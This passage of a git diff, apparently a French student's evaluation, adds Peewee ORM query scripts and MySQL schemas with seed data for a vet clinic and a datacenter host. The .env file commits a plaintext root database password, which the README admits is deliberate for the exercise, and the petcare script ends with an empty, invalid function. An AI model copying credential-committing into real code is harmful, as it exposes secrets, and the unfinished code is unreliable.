care_01_vermifuge) + ConsultationCare.create(consultation= consultation_01, traitement= care_01_puce_elec) +except IntegrityError as error: + print(error) + +## 2. READ + +print("\n----- Animaux de Claire MARTIN -----") +claire_martin_pets = Pet.select().join(Owner).where( + (Owner.prenom == "Claire") & + (Owner.nom == "Martin") +) +for pet in claire_martin_pets: + print(f"{pet.nom} - {pet.espece} - {pet.poids}") + +print("\n----- Consultations de REX -----") +claire_martin_rex_consultations = Consultation\ + .select(Consultation, Veterinarian)\ + .join(Veterinarian)\ + .where(Consultation.animal == 1) +for consultation in claire_martin_rex_consultations: + print(f"{consultation.date_consultation} - {consultation.motif} - Dr {consultation.veterinaire.nom}") + +print("\n----- Statistiques par espèce -----") +# Partie faite à l'aide de l'IA, notamment pour le "group_by" avant quoi je n'avais que "Chien" sans explication +# et qui m'a soufflé l'idée de l'alias qui est quand même bien pratique +stats_species = Pet.select( + Pet.espece, + fn.COUNT(Pet.id).alias("nb_pets"), + fn.AVG(Pet.poids).alias("avg_weight") +).group_by(Pet.espece) +for stat in stats_species: + print(f"{stat.nb_pets} {stat.espece}(s) au total - {round(stat.avg_weight, 2)}kg en moyenne") + +## 3. UPDATE + +print("\n----- Le Gros Buddy qui mange trop -----") +try: + pet_buddy = Pet.get(Pet.nom == "Buddy") + print(f"Le poids de {pet_buddy.nom} est enregistré comme étant de {pet_buddy.poids}kg.") + pet_buddy.poids = 29.50 + pet_buddy.save() + print(f"Le poids de Buddy a été changé.") + print(f"Le poids de {pet_buddy.nom} est enregistré comme étant de {pet_buddy.poids}kg.") +except DoesNotExist: + print("L'animal \"Buddy\" n'existe pas.") + +## 4. DELETE + +print("\n----- Vous z'avez pas vu mon fils ? -----") +try: + pet_nemo = Pet.get(Pet.nom == "Nemo") + had_nemo_consultations = Consultation.select().where(Consultation.animal == pet_nemo).count() + + if had_nemo_consultations > 0: + print(f"Impossible de supprimer {pet_nemo.nom}, il possède des consultations associées.") + else: + pet_nemo.delete_instance() + print(f"L'animal {pet_nemo.nom} a été supprimé de la base de données.") +except DoesNotExist: + print(f"L'animal \"Nemo\" n'a pas été trouvé dans la base de données.") + +# 3. Requêtes avancées + +print("\n----- Top 3 soigneurs de zanimaux -----") +top_veterinarians = Veterinarian\ + .select( + Veterinarian.nom, + Veterinarian.specialite, + fn.COUNT(Consultation.id).alias("nb_cons") + )\ + .join(Consultation)\ + .group_by(Veterinarian.id)\ + .order_by(fn.COUNT(Consultation.id)\ + .desc()).limit(3) +for idx, veterinarian in enumerate(top_veterinarians): + print(f"{idx+1} - Dr {veterinarian.nom} avec {veterinarian.nb_cons} consultations.") + +print("\n----- Facture n°1 détaillée -----") + + +print("\n----- Historique-Animal -----") +def historique_animal(): \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/setup_petcare.sql b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/setup_petcare.sql new file mode 100644 index 0000000..9bd4d84 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/setup_petcare.sql @@ -0,0 +1,142 @@ +CREATE DATABASE IF NOT EXISTS petcare; +USE petcare; + +CREATE TABLE proprietaire ( + id INT AUTO_INCREMENT PRIMARY KEY, + nom VARCHAR(100) NOT NULL, + prenom VARCHAR(100) NOT NULL, + telephone VARCHAR(15) NOT NULL, + email VARCHAR(150) UNIQUE, + ville VARCHAR(100) NOT NULL +); + +CREATE TABLE veterinaire ( + id INT AUTO_INCREMENT PRIMARY KEY, + nom VARCHAR(100) NOT NULL, + prenom VARCHAR(100) NOT NULL, + specialite VARCHAR(100) NOT NULL, + telephone VARCHAR(15) NOT NULL UNIQUE +); + +CREATE TABLE animal ( + id INT AUTO_INCREMENT PRIMARY KEY, + nom VARCHAR(100) NOT NULL, + espece VARCHAR(50) NOT NULL, + race VARCHAR(100), + date_naissance DATE, + poids DECIMAL(5,2) CHECK (poids > 0), + proprietaire_id INT NOT NULL, + FOREIGN KEY (proprietaire_id) REFERENCES proprietaire(id) +); + +CREATE TABLE consultation ( + id INT AUTO_INCREMENT PRIMARY KEY, + date_consultation DATE NOT NULL, + motif VARCHAR(255) NOT NULL, + diagnostic TEXT, + prix_consultation DECIMAL(6,2) NOT NULL DEFAULT 35.00 CHECK (prix_consultation > 0), + animal_id INT NOT NULL, + veterinaire_id INT NOT NULL, + FOREIGN KEY (animal_id) REFERENCES animal(id), + FOREIGN KEY (veterinaire_id) REFERENCES veterinaire(id) +); + +CREATE TABLE traitement ( + id INT AUTO_INCREMENT PRIMARY KEY, + nom VARCHAR(150) NOT NULL, + description TEXT, + prix DECIMAL(6,2) NOT NULL CHECK (prix > 0) +); + +CREATE TABLE consultation_traitement ( + consultation_id INT, + traitement_id INT, + dosage VARCHAR(100), + PRIMARY KEY (consultation_id, traitement_id), + FOREIGN KEY (consultation_id) REFERENCES consultation(id), + FOREIGN KEY (traitement_id) REFERENCES traitement(id) +); + +-- Propriétaires +INSERT INTO proprietaire (nom, prenom, telephone, email, ville) VALUES +('Martin', 'Claire', '0612345678', 'claire.martin@mail.com', 'Paris'), +('Dupont', 'Jean', '0698765432', 'jean.dupont@mail.com', 'Lyon'), +('Bernard', 'Sophie', '0654321987', 'sophie.bernard@mail.com', 'Paris'), +('Petit', 'Thomas', '0687654321', 'thomas.petit@mail.com', 'Marseille'), +('Moreau', 'Julie', '0676543210', 'julie.moreau@mail.com', 'Lyon'), +('Garcia', 'Pierre', '0665432109', NULL, 'Toulouse'), +('Roux', 'Isabelle', '0643219876', 'isabelle.roux@mail.com', 'Paris'); + +-- Vétérinaires +INSERT INTO veterinaire (nom, prenom, specialite, telephone) VALUES +('Leroy', 'Marc', 'Chirurgie', '0611111111'), +('Fabre', 'Anne', 'Dermatologie', '0622222222'), +('Girard', 'Paul', 'Médecine générale', '0633333333'), +('Duval', 'Marie', 'Comportement', '0644444444'); + +-- Animaux +INSERT INTO animal (nom, espece, race, date_naissance, poids, proprietaire_id) VALUES +('Rex', 'Chien', 'Berger Allemand', '2020-03-15', 32.50, 1), +('Mimi', 'Chat', 'Siamois', '2019-07-22', 4.20, 1), +('Buddy', 'Chien', 'Labrador', '2021-01-10', 28.00, 2), +('Luna', 'Chat', 'Persan', '2022-05-18', 3.80, 3), +('Rocky', 'Chien', 'Bulldog', '2020-11-03', 22.50, 4), +('Nemo', 'Poisson', 'Poisson clown', '2023-01-01', 0.02, 4), +('Bella', 'Chien', 'Golden Retriever', '2019-09-14', 30.00, 5), +('Caramel', 'Chat', 'Européen', '2021-08-25', 5.10, 5), +('Max', 'Chien', 'Husky', '2022-02-28', 25.00, 6), +('Coco', 'Perroquet', 'Ara', '2018-04-12', 1.20, 7), +('Filou', 'Chat', 'Maine Coon', '2020-06-30', 7.50, 7), +('Oscar', 'Chien', 'Caniche', '2023-03-20', 8.00, 2); + +-- Traitements +INSERT INTO traitement (nom, description, prix) VALUES +('Vaccination rage', 'Vaccin antirabique annuel', 45.00), +('Vaccination typhus', 'Vaccin contre le typhus félin', 40.00), +('Vermifuge', 'Traitement antiparasitaire interne', 25.00), +('Anti-puces', 'Traitement antiparasitaire externe', 30.00), +('Détartrage', 'Nettoyage dentaire sous anesthésie', 80.00), +('Radiographie', 'Examen radiologique', 60.00), +('Analyse sanguine', 'Bilan sanguin complet', 55.00), +('Antibiotiques', 'Traitement antibactérien 10 jours', 35.00), +('Castration', 'Stérilisation chirurgicale', 120.00), +('Puce électronique', 'Identification par puce', 50.00); + +-- Consultations +INSERT INTO consultation (date_consultation, motif, diagnostic, prix_consultation, animal_id, veterinaire_id) VALUES +('2025-01-15', 'Visite annuelle', 'Bon état général', 35.00, 1, 1), +('2025-01-20', 'Boiterie', 'Entorse légère patte avant droite', 35.00, 3, 1), +('2025-02-10', 'Mauvaise haleine', 'Tartre important', 35.00, 2, 2), +('2025-02-14', 'Perte de poils', 'Allergie alimentaire', 45.00, 4, 2), +('2025-03-01', 'Vaccination', 'RAS', 35.00, 5, 3), +('2025-03-05', 'Griffures', 'Infection cutanée légère', 35.00, 8, 2), +('2025-03-10', 'Visite annuelle', 'Surpoids léger', 35.00, 7, 3), +('2025-03-15', 'Apathie', 'Anémie légère', 45.00, 11, 3), +('2025-04-01', 'Comportement agressif', 'Stress environnemental', 50.00, 9, 4), +('2025-04-10', 'Visite annuelle', 'Bon état général', 35.00, 10, 3), +('2025-04-15', 'Vomissements', 'Gastrite', 35.00, 12, 1), +('2025-04-20', 'Visite de contrôle', 'Guérison confirmée', 35.00, 3, 1), +('2025-05-01', 'Vaccination rappel', 'RAS', 35.00, 1, 3); + +-- Consultations-Traitements +INSERT INTO consultation_traitement (consultation_id, traitement_id, dosage) VALUES +(1, 1, '1 injection'), +(1, 3, '1 comprimé'), +(2, 6, '2 clichés'), +(2, 8, '1 comprimé/jour pendant 5 jours'), +(3, 5, 'Séance complète'), +(4, 7, 'Prélèvement standard'), +(4, 4, 'Application locale'), +(5, 1, '1 injection'), +(5, 10, 'Implantation épaule gauche'), +(6, 8, '1 comprimé/jour pendant 7 jours'), +(6, 4, 'Application locale'), +(7, 3, '1 comprimé'), +(7, 7, 'Prélèvement standard'), +(8, 7, 'Prélèvement standard'), +(9, 7, 'Prélèvement standard'), +(10, 3, '1 comprimé'), +(11, 8, '1 comprimé/jour pendant 5 jours'), +(12, 6, '1 cliché'), +(13, 1, '1 injection'), +(13, 3, '1 comprimé'); diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/.env b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/.env new file mode 100644 index 0000000..f66f657 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/.env @@ -0,0 +1,4 @@ +DB_HOST=localhost +DB_USER=root +DB_PASSWORD=MementoMarsouin96 +DB_NAME=datacenters \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/__init__.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/__init__.py new file mode 100644 index 0000000..d915343 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/__init__.py @@ -0,0 +1,23 @@ +from peewee import * + +import os +from dotenv import load_dotenv + +load_dotenv() + +db_name = os.environ.get("DB_NAME") +db_user = os.environ.get("DB_USER") +db_password = os.environ.get("DB_PASSWORD") +db_host = os.environ.get("DB_HOST") + +db = MySQLDatabase( + database= db_name, + user= db_user, + password= db_password, + host= db_host, + port= 3306 +) + +class BaseModel(Model): + class Meta: + database = db \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/client.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/client.py new file mode 100644 index 0000000..c357867 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/client.py @@ -0,0 +1,11 @@ +from __init__ import * + +class Client(BaseModel): + id = AutoField(primary_key= True) + nom = CharField(max_length= 150, null= False) + email = CharField(max_length= 200, null= False) + telephone = CharField(max_length= 20, null= False) + type_contrat = CharField(max_length= 50, null= False) + + class Meta: + table_name = "client" \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/datacenter.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/datacenter.py new file mode 100644 index 0000000..265f8e1 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/datacenter.py @@ -0,0 +1,12 @@ +from __init__ import * + +class Datacenter(BaseModel): + id = AutoField(primary_key= True) + nom = CharField(max_length= 100, null= False) + ville = CharField(max_length= 100, null= False) + pays = CharField(max_length= 100, null= False) + capacite_racks = IntegerField(null= False) + annee_ouverture = IntegerField(null= False) + + class Meta: + table_name = "datacenter" \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/hosting.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/hosting.py new file mode 100644 index 0000000..e55144a --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/hosting.py @@ -0,0 +1,15 @@ +from __init__ import * +from classes.client import Client +from classes.servers import Serveur + +class Hebergement(BaseModel): + id = AutoField(primary_key= True) + date_debut = DateField(formats= "%Y-%m-%d", null= False) + date_fin = DateField(formats= "%Y-%m-%d", null= True) + prix_mensuel = DecimalField(max_digits= 8, decimal_places= 2, null= False) + + serveur = ForeignKeyField(Serveur, backref= "serveur", null= False) + client = ForeignKeyField(Client, backref= "client", null= False) + + class Meta: + table_name = "hebergement" \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/intervention.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/intervention.py new file mode 100644 index 0000000..ca9ee32 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/intervention.py @@ -0,0 +1,15 @@ +from __init__ import * +from classes.servers import Serveur + +class Intervention(BaseModel): + id = AutoField(primary_key= True) + date_intervention = DateField(formats= "%Y-%m-%d") + type_intervention = CharField(max_length= 100, null= False) + description = TextField() + duree_heures = DecimalField(max_digits= 4, decimal_places= 2, null= False) + cout = DecimalField(max_digits= 8, decimal_places= 2, null= False) + + serveur = ForeignKeyField(Serveur, backref= "serveur", null= False) + + class Meta: + table_name = "intervention" \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/salle.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/salle.py new file mode 100644 index 0000000..f579f1f --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/salle.py @@ -0,0 +1,14 @@ +from __init__ import * +from classes.datacenter import Datacenter + +class Salle(BaseModel): + id = AutoField(primary_key= True) + nom = CharField(max_length= 100, null= False) + etage = IntegerField(null= False) + superficie_m2 = DecimalField(max_digits= 7, decimal_places= 2, null= False) + nb_racks = IntegerField(null= False) + + datacenter = ForeignKeyField(Datacenter, backref= "datacenter", null= False) + + class Meta: + table_name = "salle" \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/servers.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/servers.py new file mode 100644 index 0000000..121fac1 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/classes/servers.py @@ -0,0 +1,17 @@ +from __init__ import * +from classes.salle import Salle + +class Serveur(BaseModel): + id = AutoField(primary_key= True) + hostname = CharField(max_length= 100, null= False) + marque = CharField(max_length= 100, null= False) + modele = CharField(max_length= 100, null= False) + cpu_cores = IntegerField(null= False) + ram_go = IntegerField(null= False) + stockage_to = DecimalField(max_digits= 5, decimal_places= 2, null= False) + date_installation = DateField(formats= "%Y-%m-%d") + + salle = ForeignKeyField(Salle, backref= "salle", null= False) + + class Meta: + table_name = "serveur" \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/evaluation.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/evaluation.py new file mode 100644 index 0000000..e03c150 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/evaluation.py @@ -0,0 +1,115 @@ +from __init__ import * + +from classes.client import * +from classes.datacenter import * +from classes.hosting import * +from classes.intervention import * +from classes.salle import * +from classes.servers import * + +# 1. Requêtes de base + +print("\n----- Datacenters en France par année d'ouverture -----") +datacenters_france = (Datacenter + .select(Datacenter.nom, Datacenter.ville) + .where(Datacenter.pays == "France") + .order_by(Datacenter.annee_ouverture)) +for datacenter in datacenters_france: + print(f"{datacenter.nom} - {datacenter.ville}") + +print("\n----- Serveurs Dell par nom d'hôte -----") +dell_servers = (Serveur + .select(Serveur.hostname, Serveur.modele, Serveur.cpu_cores) + .where(Serveur.marque == 'Dell') + .order_by(Serveur.hostname)) +for serveur in dell_servers: + print(f"{serveur.hostname} - Modèle {serveur.modele} - {serveur.cpu_cores} coeurs") + +print("\n----- Interventions de mars 2025 -----") +march_2025_interventions = (Intervention + .select(Intervention.type_intervention, Intervention.cout, Intervention.date_intervention) + .where(Intervention.date_intervention.between('2025-03-01', '2025-03-31'))) +for intervention in march_2025_interventions: + print(f"{intervention.date_intervention} : {intervention.type_intervention} pour {intervention.cout}€.") + +# 2. Jointures + +print("\n----- Liste des serveurs -----") +server_listing = (Serveur + .select(Serveur, Salle, Datacenter) + .join(Salle) + .join(Datacenter) + .order_by(Datacenter.nom, Serveur.hostname)) +for server in server_listing: + print(f"{server.hostname} - Salle {server.salle.nom}, DC {server.salle.datacenter.nom}") + +print("\n----- Hébergements actifs -----") +active_hostings = (Hebergement + .select(Hebergement, Client, Serveur) + .join(Client) + .switch(Hebergement) + .join(Serveur) + .where(Hebergement.date_fin.is_null()) + .order_by(Hebergement.prix_mensuel.desc())) +for active_hosting in active_hostings: + print(f"{active_hosting.client.nom} - sur {active_hosting.serveur.hostname} pour {active_hosting.prix_mensuel}€ / mois.") + +print("\n----- Serveurs qui n'ont jamais panné (ni poisson ni rien) -----") +servers_without_problem = (Serveur + .select(Serveur.hostname, Serveur.date_installation) + .join(Intervention, JOIN.LEFT_OUTER) + .where(Intervention.id.is_null())) +for server in servers_without_problem: + print(f"{server.hostname} - Installation {server.date_installation}.)") + +print("\n----- Hébergements par client -----") +client_hostings = (Client + .select(Client.nom, + fn.COUNT(Hebergement.id).alias("nb_servers"), + fn.SUM(Hebergement.prix_mensuel).alias("monthly_price")) + .join(Hebergement) + .group_by(Client.id, Client.nom) + .order_by(fn.SUM(Hebergement.prix_mensuel).desc())) +for client_hosting in client_hostings: + total = client_hosting.monthly_price if client_hosting.monthly_price else 0 + print(f"{client_hosting.nom} - {client_hosting.nb_servers} serveur(s) pour un total de {total}€ / mois.") + +# 3. Agrégations + +print("\n----- Liste des serveurs par marque -----") +servers_brand = (Serveur + .select(Serveur.marque, fn.COUNT(Serveur.id).alias("nb_servers")) + .group_by(Serveur.marque)) +for server_brand in servers_brand: + print(f"{server_brand.marque} - {server_brand.nb_servers} serveur(s).") + +print("\n----- Coût total par intervention -----") +intervention_cost = (Intervention + .select(Intervention.type_intervention, + fn.SUM(Intervention.cout).alias("cost"), + fn.AVG(Intervention.cout).alias("avg")) + .group_by(Intervention.type_intervention)) +for cost in intervention_cost: + print(f"{cost.type_intervention} - {cost.cost}€ - moyenne à {round(cost.avg, 2)}€.") # Bonus pour le fun + +print("\n----- Datacenters qui tournent pas trop à vide -----") +empty_datacenters = (Datacenter + .select(Datacenter.nom, fn.COUNT(Serveur.id).alias("nb_serveurs")) + .join(Salle) + .join(Serveur) + .group_by(Datacenter.id, Datacenter.nom) + .having(fn.COUNT(Serveur.id) > 3)) +for datacenter in empty_datacenters: + print(f"{datacenter.nom} - {datacenter.nb_serveurs} serveurs.") + +print("\n----- Mois le plus chargé de l'année -----") +heaviest_month = (Intervention + .select(fn.DATE_FORMAT(Intervention.date_intervention, '%Y-%m').alias('mois'), + fn.COUNT(Intervention.id).alias('nb_interventions'), + fn.SUM(Intervention.cout).alias('cout_total')) + .group_by(fn.DATE_FORMAT(Intervention.date_intervention, '%Y-%m')) + .order_by(fn.COUNT(Intervention.id).desc()) + .limit(1)) +for record in heaviest_month: + print(f"En {record.mois}, il y a eu {record.nb_interventions} interventions totalisant {record.cout_total}€.\n\ +Pensez aux actionnaires !") \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/setup_datacenters.sql b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/setup_datacenters.sql new file mode 100644 index 0000000..83f6d97 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_02/setup_datacenters.sql @@ -0,0 +1,152 @@ +CREATE DATABASE IF NOT EXISTS datacenters; +USE datacenters; + +CREATE TABLE datacenter ( + id INT AUTO_INCREMENT PRIMARY KEY, + nom VARCHAR(100) NOT NULL UNIQUE, + ville VARCHAR(100) NOT NULL, + pays VARCHAR(100) NOT NULL, + capacite_racks INT NOT NULL CHECK (capacite_racks > 0), + annee_ouverture INT NOT NULL CHECK (annee_ouverture >= 2000) +); + +CREATE TABLE salle ( + id INT AUTO_INCREMENT PRIMARY KEY, + nom VARCHAR(100) NOT NULL, + etage INT NOT NULL, + superficie_m2 DECIMAL(7,2) NOT NULL CHECK (superficie_m2 > 0), + nb_racks INT NOT NULL CHECK (nb_racks > 0), + datacenter_id INT NOT NULL, + FOREIGN KEY (datacenter_id) REFERENCES datacenter(id) +); + +CREATE TABLE client ( + id INT AUTO_INCREMENT PRIMARY KEY, + nom VARCHAR(150) NOT NULL, + email VARCHAR(200) NOT NULL UNIQUE, + telephone VARCHAR(20), + type_contrat VARCHAR(50) NOT NULL CHECK (type_contrat IN ('Essentiel', 'Standard', 'Premium')) +); + +CREATE TABLE serveur ( + id INT AUTO_INCREMENT PRIMARY KEY, + hostname VARCHAR(100) NOT NULL UNIQUE, + marque VARCHAR(100) NOT NULL, + modele VARCHAR(100) NOT NULL, + cpu_cores INT NOT NULL CHECK (cpu_cores > 0), + ram_go INT NOT NULL CHECK (ram_go > 0), + stockage_to DECIMAL(5,2) NOT NULL CHECK (stockage_to > 0), + date_installation DATE NOT NULL, + salle_id INT NOT NULL, + FOREIGN KEY (salle_id) REFERENCES salle(id) +); + +CREATE TABLE intervention ( + id INT AUTO_INCREMENT PRIMARY KEY, + date_intervention DATE NOT NULL, + type_intervention VARCHAR(100) NOT NULL, + description TEXT, + duree_heures DECIMAL(4,2) NOT NULL CHECK (duree_heures > 0), + cout DECIMAL(8,2) NOT NULL CHECK (cout >= 0), + serveur_id INT NOT NULL, + FOREIGN KEY (serveur_id) REFERENCES serveur(id) +); + +CREATE TABLE hebergement ( + id INT AUTO_INCREMENT PRIMARY KEY, + date_debut DATE NOT NULL, + date_fin DATE, + prix_mensuel DECIMAL(8,2) NOT NULL CHECK (prix_mensuel > 0), + serveur_id INT NOT NULL, + client_id INT NOT NULL, + FOREIGN KEY (serveur_id) REFERENCES serveur(id), + FOREIGN KEY (client_id) REFERENCES client(id) +); + +-- Datacenters +INSERT INTO datacenter (nom, ville, pays, capacite_racks, annee_ouverture) VALUES +('DC-Paris-Nord', 'Paris', 'France', 500, 2015), +('DC-Lyon-Est', 'Lyon', 'France', 300, 2018), +('DC-Marseille-Sud', 'Marseille', 'France', 200, 2020), +('DC-Bruxelles-Centre', 'Bruxelles', 'Belgique', 400, 2016), +('DC-Geneve-Lac', 'Genève', 'Suisse', 250, 2019); + +-- Salles +INSERT INTO salle (nom, etage, superficie_m2, nb_racks, datacenter_id) VALUES +('Salle Alpha', 0, 450.00, 120, 1), +('Salle Beta', 0, 380.00, 100, 1), +('Salle Gamma', 1, 500.00, 140, 1), +('Salle Delta', 0, 300.00, 80, 2), +('Salle Epsilon', 1, 280.00, 70, 2), +('Salle Zeta', 0, 200.00, 50, 3), +('Salle Eta', 0, 350.00, 100, 4), +('Salle Theta', 1, 320.00, 90, 4), +('Salle Iota', 0, 250.00, 65, 5), +('Salle Kappa', 1, 230.00, 60, 5); + +-- Clients +INSERT INTO client (nom, email, telephone, type_contrat) VALUES +('TechnoWeb SAS', 'contact@technoweb.fr', '0145678901', 'Premium'), +('StartupFlow', 'admin@startupflow.io', '0234567890', 'Standard'), +('MegaStore Europe', 'infra@megastore.eu', '0156789012', 'Premium'), +('DataLab Research', 'tech@datalab.org', '0145671234', 'Standard'), +('CloudFirst Agency', 'ops@cloudfirst.fr', '0198765432', 'Premium'), +('GreenEnergy Corp', 'it@greenenergy.com', '0187654321', 'Essentiel'), +('MediaPlus', 'support@mediaplus.fr', '0176543210', 'Standard'), +('FinanceSecure SA', 'infra@financesecure.ch', '0223456789', 'Premium'), +('EduConnect', 'admin@educonnect.fr', '0156784321', 'Essentiel'), +('LogiTrans SARL', 'it@logitrans.fr', '0167890123', 'Standard'); + +-- Serveurs +INSERT INTO serveur (hostname, marque, modele, cpu_cores, ram_go, stockage_to, date_installation, salle_id) VALUES +('srv-web-01', 'Dell', 'PowerEdge R750', 32, 128, 2.00, '2023-03-15', 1), +('srv-web-02', 'Dell', 'PowerEdge R750', 32, 128, 2.00, '2023-03-15', 1), +('srv-db-01', 'HP', 'ProLiant DL380', 64, 512, 8.00, '2022-06-10', 1), +('srv-app-01', 'Lenovo', 'ThinkSystem SR650', 48, 256, 4.00, '2023-09-01', 2), +('srv-storage-01', 'Dell', 'PowerEdge R760', 16, 64, 24.00, '2024-01-20', 3), +('srv-lyon-01', 'HP', 'ProLiant DL360', 32, 128, 2.00, '2023-05-12', 4), +('srv-lyon-02', 'HP', 'ProLiant DL380', 48, 256, 4.00, '2022-11-08', 4), +('srv-lyon-db-01', 'Dell', 'PowerEdge R750', 64, 512, 8.00, '2023-01-25', 5), +('srv-mars-01', 'Lenovo', 'ThinkSystem SR630', 16, 64, 1.00, '2024-03-10', 6), +('srv-mars-02', 'Lenovo', 'ThinkSystem SR650', 32, 128, 2.00, '2024-03-10', 6), +('srv-brux-01', 'Dell', 'PowerEdge R750', 48, 256, 4.00, '2021-07-15', 7), +('srv-brux-02', 'HP', 'ProLiant DL380', 64, 512, 8.00, '2021-07-15', 7), +('srv-brux-03', 'Dell', 'PowerEdge R760', 32, 128, 2.00, '2023-04-20', 8), +('srv-gen-01', 'HP', 'ProLiant DL380', 48, 256, 4.00, '2022-09-05', 9), +('srv-gen-02', 'Lenovo', 'ThinkSystem SR650', 32, 128, 2.00, '2023-08-18', 10); + +-- Interventions +INSERT INTO intervention (date_intervention, type_intervention, description, duree_heures, cout, serveur_id) VALUES +('2025-01-10', 'Maintenance préventive', 'Remplacement disques préventif', 2.00, 350.00, 3), +('2025-01-15', 'Panne matérielle', 'Remplacement alimentation défectueuse', 1.50, 280.00, 1), +('2025-02-01', 'Mise à jour firmware', 'Update BIOS et firmware RAID', 1.00, 150.00, 6), +('2025-02-12', 'Panne matérielle', 'Remplacement barrette RAM défectueuse', 0.50, 420.00, 12), +('2025-02-20', 'Extension capacité', 'Ajout 256 Go RAM', 1.00, 1200.00, 7), +('2025-03-01', 'Maintenance préventive', 'Nettoyage et vérification câblage', 3.00, 200.00, 11), +('2025-03-05', 'Mise à jour firmware', 'Update BIOS', 0.50, 100.00, 4), +('2025-03-10', 'Panne matérielle', 'Remplacement ventilateur', 0.50, 180.00, 9), +('2025-03-15', 'Extension capacité', 'Ajout disque SSD 2 To', 1.00, 450.00, 14), +('2025-04-01', 'Maintenance préventive', 'Vérification générale', 2.00, 200.00, 1), +('2025-04-05', 'Panne matérielle', 'Remplacement contrôleur RAID', 2.50, 750.00, 8), +('2025-04-10', 'Mise à jour firmware', 'Update firmware stockage', 1.00, 150.00, 5), +('2025-04-15', 'Maintenance préventive', 'Remplacement pâte thermique CPU', 1.50, 120.00, 13), +('2025-05-01', 'Panne matérielle', 'Remplacement carte réseau', 1.00, 320.00, 2), +('2025-05-10', 'Extension capacité', 'Ajout 128 Go RAM', 0.50, 600.00, 10); + +-- Hébergements +INSERT INTO hebergement (date_debut, date_fin, prix_mensuel, serveur_id, client_id) VALUES +('2023-04-01', NULL, 850.00, 1, 1), +('2023-04-01', NULL, 850.00, 2, 1), +('2022-07-01', NULL, 1500.00, 3, 3), +('2023-10-01', NULL, 1100.00, 4, 5), +('2024-02-01', NULL, 600.00, 5, 3), +('2023-06-01', '2025-01-31', 750.00, 6, 2), +('2023-02-01', NULL, 1100.00, 7, 4), +('2023-02-01', NULL, 1500.00, 8, 8), +('2024-04-01', NULL, 400.00, 9, 9), +('2024-04-01', NULL, 750.00, 10, 6), +('2021-08-01', NULL, 1100.00, 11, 3), +('2021-08-01', NULL, 1500.00, 12, 8), +('2023-05-01', NULL, 750.00, 13, 7), +('2022-10-01', NULL, 1100.00, 14, 5), +('2023-09-01', NULL, 750.00, 15, 10); diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/README.md b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/README.md new file mode 100644 index 0000000..1c65c67 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/README.md @@ -0,0 +1,47 @@ +# Evaluation 20/03/2026 - BOICHÉ Gauvain + +## Démarrage + +### Initialisation + +```bash +uv init --python 3.12 +uv run main.py +.venv/Scripts/activate + +uv add dotenv +uv add peewee pymysql +``` + +### Fichier .env + +Les "secrets" sont gérés pour l'occasion dans un fichier .env + +Normalement, on met aussi un fichier + +`.gitignore` + +Dont le contenu mentionne : + +`*.env` + +Pour l'exercice évidemment, je garde le fichier en clair. + +## Partie 1 + + + +## Partie 2 + +### Requêtes normales + +Avoir une requête SQL normale fonctionne : + +```sql +select nom, ville +from datacenters.datacenter +where pays = "France" +order by annee_ouverture; +``` + +Maintenant faut les traduire. \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/docker-compose.yml b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/docker-compose.yml new file mode 100644 index 0000000..15f94a3 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/docker-compose.yml 